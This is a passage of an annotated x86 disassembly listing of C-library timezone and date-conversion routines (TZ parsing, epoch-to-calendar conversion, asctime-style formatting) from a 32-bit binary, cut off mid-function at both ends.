		mov	ecx, [ebp+var_54]
		mov	edi, [ebp+arg_4]
		mov	[edi+ecx*4+10h], eax
		mov	ebx, [edx+4]
		inc	ecx
		mov	[ebp+var_54], ecx
		cmp	[edi+4], ecx
		jg	short loc_0_805AE40
		jmp	short loc_0_805AEBF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805AE88:				; CODE XREF: sub_0_805AAC0+92j
		mov	[ebp+var_40], 0
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+8], 1
		mov	dword ptr [ecx+4], 0
		mov	edi, [ebp+var_4]
		neg	edi
		mov	[ecx+74Ch], edi
		mov	dword ptr [ecx+750h], 0
		mov	dword ptr [ecx+754h], 0

loc_0_805AEBF:				; CODE XREF: sub_0_805AAC0+26Dj
					; sub_0_805AAC0+377j ...
		mov	edi, [ebp+var_3C]
		inc	edi
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], edi
		cmp	[ebp+var_40], 0
		jz	short loc_0_805AED9
		mov	eax, [ecx+0Ch]
		inc	eax
		add	eax, [ebp+var_40]
		mov	[ecx+0Ch], eax

loc_0_805AED9:				; CODE XREF: sub_0_805AAC0+40Dj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+0Ch], 33h
		ja	loc_0_805AAED
		mov	ebx, [ebp+arg_4]
		add	ebx, 174Ch
		call	strncpy(ebx,var_34,var_3c) ; $$$$$$
		add	ebx, edi
		mov	byte ptr [ebx],	0
		inc	ebx
		cmp	[ebp+var_40], 0
		jz	short loc_0_805AF1E
		call	strncpy(ebx,var_38,var_40)
		mov	byte ptr [edi+ebx], 0

loc_0_805AF1E:				; CODE XREF: sub_0_805AAC0+44Aj
		xor	eax, eax

loc_0_805AF20:				; CODE XREF: sub_0_805AAC0+32j
		lea	esp, [ebp+var_64]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805AAC0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805AF2C	proc near		; CODE XREF: sub_0_805AF5C+A0p
					; sub_0_805B010+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	offset unk_0_8068EA0
		call	sub_0_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805AF52
		push	1
		push	ebx
		push	offset unk_0_8068EA0
		call	sub_0_805AAC0

loc_0_805AF52:				; CODE XREF: sub_0_805AF2C+17j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805AF2C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805AF5C	proc near		; CODE XREF: sub_0_805B048+1Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		call	getenv('TZ)
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_805AF80
		call	sub_0_805B010
		jmp	loc_0_805B009
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805AF80:				; CODE XREF: sub_0_805AF5C+15j
		mov	ds:dword_0_807E300, 1
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_805AFCC
		mov	ds:dword_0_807B0E0, 0
		mov	ds:dword_0_807B0E4, 0
		mov	ds:dword_0_807B82C, 0
		mov	ds:dword_0_807B834, 0
		call	strcpy(unk_0_807c82c,unk_0_8068ea0)
		jmp	short loc_0_805B004
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805AFCC:				; CODE XREF: sub_0_805AF5C+31j
		push	offset dword_0_807B0E0
		push	ebx
		call	sub_0_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805B004
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_0_805AFF7
		push	0
		push	offset dword_0_807B0E0
		push	ebx
		call	sub_0_805AAC0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_0_805B004

loc_0_805AFF7:				; CODE XREF: sub_0_805AF5C+85j
		push	offset dword_0_807B0E0
		call	sub_0_805AF2C
		add	esp, 4

loc_0_805B004:				; CODE XREF: sub_0_805AF5C+6Dj
					; sub_0_805AF5C+80j ...
		call	sub_0_805A11C

loc_0_805B009:				; CODE XREF: sub_0_805AF5C+1Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805AF5C	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B010	proc near		; CODE XREF: sub_0_805AF5C+17p
		push	ebp
		mov	ebp, esp
		mov	ds:dword_0_807E300, 1
		push	offset dword_0_807B0E0
		push	0
		call	sub_0_805A254
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805B03D
		push	offset dword_0_807B0E0
		call	sub_0_805AF2C
		add	esp, 4

loc_0_805B03D:				; CODE XREF: sub_0_805B010+1Ej
		call	sub_0_805A11C
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B010	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B048	proc near		; CODE XREF: sub_0_805B10C+Ep
					; sub_0_805B128+Ep
					; DATA XREF: ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		cmp	ds:dword_0_807E300, 0
		jnz	short loc_0_805B06A
		call	sub_0_805AF5C

loc_0_805B06A:				; CODE XREF: sub_0_805B048+1Bj
		mov	esi, offset dword_0_807B0E0
		cmp	ds:dword_0_807B0E4, 0
		jz	short loc_0_805B083
		mov	eax, [ebp+var_4]
		cmp	ds:dword_0_807B0F0, eax
		jle	short loc_0_805B0AC

loc_0_805B083:				; CODE XREF: sub_0_805B048+2Ej
		xor	eax, eax
		cmp	dword ptr [esi+750h], 0
		jz	short loc_0_805B0D0
		xor	edx, edx

loc_0_805B090:				; CODE XREF: sub_0_805B048+59j
		add	edx, 10h
		inc	eax
		cmp	[esi+8], eax
		jle	short loc_0_805B0A8
		cmp	dword ptr [edx+esi+750h], 0
		jnz	short loc_0_805B090
		jmp	short loc_0_805B0D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B0A8:				; CODE XREF: sub_0_805B048+4Fj
		xor	eax, eax
		jmp	short loc_0_805B0D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805B0AC:				; CODE XREF: sub_0_805B048+39j
		mov	eax, 1
		cmp	[esi+4], eax
		jle	short loc_0_805B0C8
		mov	edx, [ebp+var_4]
		lea	esi, [esi+0]

loc_0_805B0BC:				; CODE XREF: sub_0_805B048+7Ej
		cmp	[esi+eax*4+10h], edx
		jg	short loc_0_805B0C8
		inc	eax
		cmp	[esi+4], eax
		jg	short loc_0_805B0BC

loc_0_805B0C8:				; CODE XREF: sub_0_805B048+6Cj
					; sub_0_805B048+78j
		movzx	eax, byte ptr [eax+esi+5D7h]

loc_0_805B0D0:				; CODE XREF: sub_0_805B048+44j
					; sub_0_805B048+5Bj ...
		mov	ebx, eax
		shl	ebx, 4
		lea	ebx, [esi+ebx+74Ch]
		push	edi
		push	esi
		mov	eax, [ebx]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_0_805B1C4
		mov	edx, [ebx+4]
		mov	[edi+20h], edx
		mov	eax, [ebx+8]
		add	eax, 174Ch
		add	esi, eax
		mov	dword_0_8078B1C[edx*4],	esi
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B048	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B10C	proc near		; CODE XREF: sub_0_805B548+7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_0_807B06C
		push	0
		push	eax
		call	sub_0_805B048
		mov	eax, offset unk_0_807B06C
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B10C	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B128	proc near		; CODE XREF: .text:0805B572p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	0
		push	eax
		call	sub_0_805B048
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B128	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B144	proc near		; CODE XREF: .text:0805B19Ap
					; .text:0805B1B6p
					; DATA XREF: ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		cmp	ds:dword_0_807E304, 0
		jnz	short loc_0_805B173
		mov	ds:dword_0_807E304, 1
		push	offset unk_0_807C9F0
		call	sub_0_805AF2C
		add	esp, 4

loc_0_805B173:				; CODE XREF: sub_0_805B144+16j
		push	ebx
		push	offset unk_0_807C9F0
		push	esi
		push	edi
		call	sub_0_805B1C4
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B144	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	0
		push	eax
		call	sub_0_805B144
		mov	eax, ebx
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	offset unk_0_807B098
		push	0
		push	eax
		call	sub_0_805B144
		mov	eax, offset unk_0_807B098
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B1C4	proc near		; CODE XREF: sub_0_805B048+9Dp
					; sub_0_805B144+37p

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		dec	ecx
		js	loc_0_805B363
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx]
		lea	edi, ds:0[ecx*8]
		mov	[ebp+var_C], edi
		add	edi, 0FFFFFFF8h
		mov	[ebp+var_10], edi
		mov	eax, [ebp+var_C]
		add	eax, 1780h
		mov	[ebp+var_1C], eax
		mov	ebx, ecx
		not	ebx
		mov	edx, ebx
		and	edx, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_0_805B25C
		test	edx, edx
		jz	short loc_0_805B27C
		cmp	edx, 3
		jge	short loc_0_805B25C
		cmp	edx, 2
		jge	short loc_0_805B245
		mov	edx, [ebp+arg_8]
		add	edx, eax
		cmp	[edx], esi
		jg	short loc_0_805B23C
		jnz	loc_0_805B349
		mov	edi, [ebp+var_8]
		jmp	loc_0_805B31F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B23C:				; CODE XREF: sub_0_805B1C4+66j
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx

loc_0_805B245:				; CODE XREF: sub_0_805B1C4+5Dj
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_0_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx

loc_0_805B25C:				; CODE XREF: sub_0_805B1C4+4Fj
					; sub_0_805B1C4+58j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_0_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFF8h
		dec	ecx
		js	loc_0_805B363
		lea	esi, [esi+0]

loc_0_805B27C:				; CODE XREF: sub_0_805B1C4+53j
					; sub_0_805B1C4+199j
		mov	edx, [ebp+arg_8]
		add	edx, [ebp+var_1C]
		cmp	[edx], esi
		jle	loc_0_805B31B
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	eax, [ebp+var_1C]
		mov	ebx, [ebp+arg_8]
		lea	edx, [ebx+eax-8]
		cmp	[edx], esi
		jg	short loc_0_805B2CC
		jnz	loc_0_805B349
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_0_805B2B8
		cmp	dword ptr [edx+4], 0
		jg	loc_0_805B342

loc_0_805B2B8:				; CODE XREF: sub_0_805B1C4+E8j
		mov	ebx, [edx+4]
		mov	edi, [ebp+arg_8]
		mov	eax, [ebp+var_10]
		cmp	[eax+edi+1784h], ebx
		jge	short loc_0_805B349
		jmp	short loc_0_805B342
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805B2CC:				; CODE XREF: sub_0_805B1C4+D7j
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	edi, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+edi-10h]
		cmp	[edx], esi
		jg	short loc_0_805B308
		jnz	short loc_0_805B349
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_0_805B2F2
		cmp	dword ptr [edx+4], 0
		jg	short loc_0_805B342

loc_0_805B2F2:				; CODE XREF: sub_0_805B1C4+126j
		mov	eax, [edx+4]
		mov	ebx, [ebp+arg_8]
		mov	edi, [ebp+var_10]
		cmp	[edi+ebx+1784h], eax
		jge	short loc_0_805B349
		jmp	short loc_0_805B342
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B308:				; CODE XREF: sub_0_805B1C4+119j
		add	[ebp+var_10], 0FFFFFFF8h
		dec	ecx
		mov	ebx, [ebp+var_1C]
		mov	edi, [ebp+arg_8]
		lea	edx, [edi+ebx-18h]
		cmp	[edx], esi
		jg	short loc_0_805B354

loc_0_805B31B:				; CODE XREF: sub_0_805B1C4+89j
					; sub_0_805B1C4+A0j ...
		cmp	[edx], esi
		jnz	short loc_0_805B349

loc_0_805B31F:				; CODE XREF: sub_0_805B1C4+71j
		mov	[ebp+var_8], 0
		test	ecx, ecx
		jnz	short loc_0_805B330
		cmp	dword ptr [edx+4], 0
		jg	short loc_0_805B342

loc_0_805B330:				; CODE XREF: sub_0_805B1C4+164j
		mov	edi, [edx+4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [ebp+var_10]
		cmp	[ebx+eax+1784h], edi
		jge	short loc_0_805B349

loc_0_805B342:				; CODE XREF: sub_0_805B1C4+EEj
					; sub_0_805B1C4+106j ...
		mov	[ebp+var_8], 1

loc_0_805B349:				; CODE XREF: sub_0_805B1C4+68j
					; sub_0_805B1C4+D9j ...
		mov	edx, [edx+4]
		mov	[ebp+var_4], edx
		jmp	short loc_0_805B363
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B354:				; CODE XREF: sub_0_805B1C4+155j
		add	[ebp+var_10], 0FFFFFFF8h
		add	[ebp+var_1C], 0FFFFFFE0h
		dec	ecx
		jns	loc_0_805B27C

loc_0_805B363:				; CODE XREF: sub_0_805B1C4+1Dj
					; sub_0_805B1C4+AFj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	eax, edx
		mov	ebx, 15180h
		cdq	
		idiv	ebx
		mov	esi, eax
		mov	edi, [ebp+arg_4]
		sub	edi, [ebp+var_4]
		mov	[ebp+var_C], edi
		add	edx, edi
		jns	short loc_0_805B397
		lea	esi, [esi+0]

loc_0_805B384:				; CODE XREF: sub_0_805B1C4+1C7j
		dec	esi
		add	edx, 15180h
		js	short loc_0_805B384
		jmp	short loc_0_805B397
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B390:				; CODE XREF: sub_0_805B1C4+1D9j
		add	edx, 0FFFEAE80h
		inc	esi

loc_0_805B397:				; CODE XREF: sub_0_805B1C4+1BBj
					; sub_0_805B1C4+1C9j
		cmp	edx, 1517Fh
		jg	short loc_0_805B390
		mov	eax, edx
		mov	ebx, 0E10h
		cdq	
		idiv	ebx
		mov	ecx, eax
		mov	edi, [ebp+arg_C]
		mov	[edi+8], ecx
		mov	eax, edx
		mov	ebx, 3Ch
		cdq	
		idiv	ebx
		mov	ecx, eax
		mov	[edi+4], ecx
		mov	[edi], edx
		cmp	[ebp+var_8], 0
		jz	short loc_0_805B3CA
		inc	dword ptr [edi]

loc_0_805B3CA:				; CODE XREF: sub_0_805B1C4+202j
		lea	edx, [esi+4]
		mov	eax, edx
		mov	ebx, 7
		cdq	
		idiv	ebx
		mov	edi, [ebp+arg_C]
		mov	[edi+18h], edx
		test	edx, edx
		jge	short loc_0_805B3E5
		add	dword ptr [edi+18h], 7

loc_0_805B3E5:				; CODE XREF: sub_0_805B1C4+21Bj
		mov	[ebp+var_10], 7B2h
		test	esi, esi
		jl	short loc_0_805B438

loc_0_805B3F0:				; CODE XREF: sub_0_805B1C4+272j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_10]
		test	al, 3
		jnz	short loc_0_805B40A
		mov	ebx, 64h
		cdq	
		idiv	ebx
		test	edx, edx
		jnz	short loc_0_805B419

loc_0_805B40A:				; CODE XREF: sub_0_805B1C4+238j
		mov	eax, [ebp+var_10]
		mov	ebx, 190h
		cdq	
		idiv	ebx
		test	edx, edx
		jnz	short loc_0_805B420

loc_0_805B419:				; CODE XREF: sub_0_805B1C4+244j
		mov	[ebp+var_1C], 1

loc_0_805B420:				; CODE XREF: sub_0_805B1C4+253j
		mov	edi, [ebp+var_1C]
		cmp	ds:dword_0_8068F28[edi*4], esi
		jg	short loc_0_805B477
		inc	[ebp+var_10]
		sub	esi, ds:dword_0_8068F28[edi*4]
		jmp	short loc_0_805B3F0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805B438:				; CODE XREF: sub_0_805B1C4+22Aj
					; sub_0_805B1C4+2B1j
		dec	[ebp+var_10]
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_10]
		test	al, 3
		jnz	short loc_0_805B455
		mov	ebx, 64h
		cdq	
		idiv	ebx
		test	edx, edx
		jnz	short loc_0_805B464

loc_0_805B455:				; CODE XREF: sub_0_805B1C4+283j
		mov	eax, [ebp+var_10]
		mov	ebx, 190h
		cdq	
		idiv	ebx
		test	edx, edx
		jnz	short loc_0_805B46B

loc_0_805B464:				; CODE XREF: sub_0_805B1C4+28Fj
		mov	[ebp+var_1C], 1

loc_0_805B46B:				; CODE XREF: sub_0_805B1C4+29Ej
		mov	edi, [ebp+var_1C]
		add	esi, ds:dword_0_8068F28[edi*4]
		js	short loc_0_805B438

loc_0_805B477:				; CODE XREF: sub_0_805B1C4+266j
		mov	ebx, [ebp+var_10]
		add	ebx, 0FFFFF894h
		mov	eax, [ebp+arg_C]
		mov	[eax+14h], ebx
		mov	[eax+1Ch], esi
		mov	edi, [ebp+var_1C]
		add	edi, edi
		mov	eax, [ebp+var_1C]
		add	edi, eax
		shl	edi, 4
		mov	edx, edi
		add	edx, offset unk_0_8068EC8
		mov	ebx, [ebp+arg_C]
		mov	dword ptr [ebx+10h], 0
		cmp	dword ptr ds:unk_0_8068EC8[edi], esi
		jg	short loc_0_805B4C7

loc_0_805B4B0:				; CODE XREF: sub_0_805B1C4+301j
		mov	edi, [ebp+arg_C]
		mov	edi, [edi+10h]
		sub	esi, [edx+edi*4]
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax+10h]
		mov	ebx, [eax+10h]
		cmp	[edx+ebx*4], esi
		jle	short loc_0_805B4B0

loc_0_805B4C7:				; CODE XREF: sub_0_805B1C4+2EAj
		inc	esi
		mov	edi, [ebp+arg_C]
		mov	[edi+0Ch], esi
		mov	dword ptr [edi+20h], 0
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B1C4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B4E0	proc near		; CODE XREF: sub_0_805B530+Cp
					; .text:0805B57Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, 76Ch
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+10h]
		lea	eax, [eax+eax*2]
		add	eax, offset aJanfebmaraprma ; "JanFebMarAprMayJunJulAugSepOctNovDec%.3"...
		push	eax
		mov	eax, [edx+18h]
		lea	eax, [eax+eax*2]
		add	eax, offset unk_0_8068F3E
		call	sprintf(&ebx,'%.3s',eax)
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B4E0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B530	proc near		; CODE XREF: sub_0_805B548+Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_0_807B0C4
		push	eax
		call	sub_0_805B4E0
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B530	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B548	proc near		; CODE XREF: sub_0_8054EC8+80p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_805B10C
		push	eax
		call	sub_0_805B530
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B548	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+8]
		mov	edx, [ebp+0Ch]
		push	edx
		lea	edx, [ebp-2Ch]
		push	edx
		push	eax
		call	sub_0_805B128
		add	esp, 8
		push	eax
		call	sub_0_805B4E0
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B584	proc near		; CODE XREF: sub_0_805B61C+30p
					; sub_0_805B61C+42p ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		cmp	[ecx], eax
		jl	short loc_0_805B5B4
		mov	ebx, [ecx]
		mov	eax, ebx
		cdq	
		idiv	[ebp+arg_8]
		mov	edi, eax
		add	[esi], edi
		mov	ebx, [ecx]
		mov	eax, ebx
		cdq	
		idiv	[ebp+arg_8]
		mov	esi, edx
		mov	[ecx], esi
		jmp	short loc_0_805B5D3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805B5B4:				; CODE XREF: sub_0_805B584+14j
		cmp	dword ptr [ecx], 0
		jge	short loc_0_805B5D3
		mov	eax, [ecx]
		inc	eax
		mov	ebx, [ebp+arg_8]
		sub	ebx, eax
		mov	eax, ebx
		cdq	
		idiv	[ebp+arg_8]
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		imul	eax, ebx
		add	[ecx], eax
		sub	[esi], ebx

loc_0_805B5D3:				; CODE XREF: sub_0_805B584+2Ej
					; sub_0_805B584+33j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B584	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B5E0	proc near		; CODE XREF: sub_0_805B61C+1A9p
					; sub_0_805B61C+288p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		sub	eax, [edx+14h]
		jnz	short loc_0_805B615
		mov	eax, [ecx+10h]
		sub	eax, [edx+10h]
		jnz	short loc_0_805B615
		mov	eax, [ecx+0Ch]
		sub	eax, [edx+0Ch]
		jnz	short loc_0_805B615
		mov	eax, [ecx+8]
		sub	eax, [edx+8]
		jnz	short loc_0_805B615
		mov	eax, [ecx+4]
		sub	eax, [edx+4]
		jnz	short loc_0_805B615
		mov	eax, [ecx]
		sub	eax, [edx]

loc_0_805B615:				; CODE XREF: sub_0_805B5E0+Fj
					; sub_0_805B5E0+17j ...
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B5E0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B61C	proc near		; CODE XREF: sub_0_805B914+26p
					; sub_0_805B914+DBp

var_7C		= byte ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
